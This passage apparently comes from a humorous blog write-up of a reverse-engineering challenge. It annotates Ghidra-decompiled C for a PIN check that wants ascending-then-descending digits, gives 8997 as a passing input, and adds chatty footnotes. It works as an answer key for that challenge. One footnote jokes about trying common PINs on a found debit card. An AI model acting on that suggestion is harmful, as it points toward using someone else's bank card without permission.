              if (WHAT < 4) {      // Input has to be at least 4 char
                WIN = 0;           // As soon as I got to this function I just tossed
              }                    // in 8997 and won. lol. onwards!
              else {
                // Looks like we're looping through the first half of the string
                for (local_128 = 1; iVar1 = WHAT / 2, local_128 < WHAT / 2; local_128 = local_128 + 1) {
                  // If the character at local_128 is <= the previous one, fail
                  if (*(char *)((long)&input + (long)local_128) <=
                      *(char *)((long)&input + (long)(local_128 + -1))) {
                    WIN = 0;
                    goto function1; // Considered harmful
                  }
                }
                // Let's not pretend that either of us are fully familiar with
                // do while syntax.
                // But it's gotta be somewhat intuitive, right?
                // Looks like this increments iVar1 and local_124
                // starting just after where we stopped
                do {
                  local_124 = iVar1 + 1;
                  // If we've iterated past the end of the string, win!
                  if (WHAT <= local_124) {
                    WIN = 1;
                    goto function1;
                  }
                  lVar3 = (long)iVar1;
                  iVar1 = local_124; // iVar1 gets set to where the first loop ended
                } while (*(char *)((long)&input + (long)local_124) < *(char *)((long)&input + lVar3)); // Same as the last loop, but descend
                WIN = 0; // Otherwise, lose
              }
            }
            else {
              WIN = 0;
            }
          function1:
            if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
              return WIN;
            }
                              /* WARNING: Subroutine does not return */
            __stack_chk_fail();
          }

          This function walks up the first half of the number, expecting each digit to be greater than the last. It then walks back down, expecting each digit to be lesser than the last. Any number that fits this criteria will work, but 8997 happens to be a convenient test case 🙂

          footnotes

          1: The most common PIN numbers are 1234, 1111, and 0000, in case you ever find a debit card on the street and want to take your chances at the ATM.

          2: There also might be junk after the bytes you send in. Testing shows that 0xD0 + 0xD0 + 0x00 + 0x00 (ÐÐ), which should sum correctly does not succeed. It doesn’t I don’t seem to like extended ASCII codes anyways, but bonus points if you can figure out a way to do it with fewer characters. I think I’ll drop the computer roleplay for the rest of the footnotes

          3: This is, presumably, a Ghidra bug. Anyways, I didn’t notice until afterward. And I started by googling various permutations of “check c” because I had forgotten that it was a handmade function.

          4:

          Pin em wojak
          Nooo you can’t just paste gibberish you’re supposed to read through my incomprehensible function!!
          8997abagaga go brrrrr

          5: Seriously, I need to permanently remove that site from search results. Sorry this footnote is out of order, I’m putting them in by hand. Next project a writeup bloginator with footnote capabilities that would bring David Foster Wallace to jealous tears.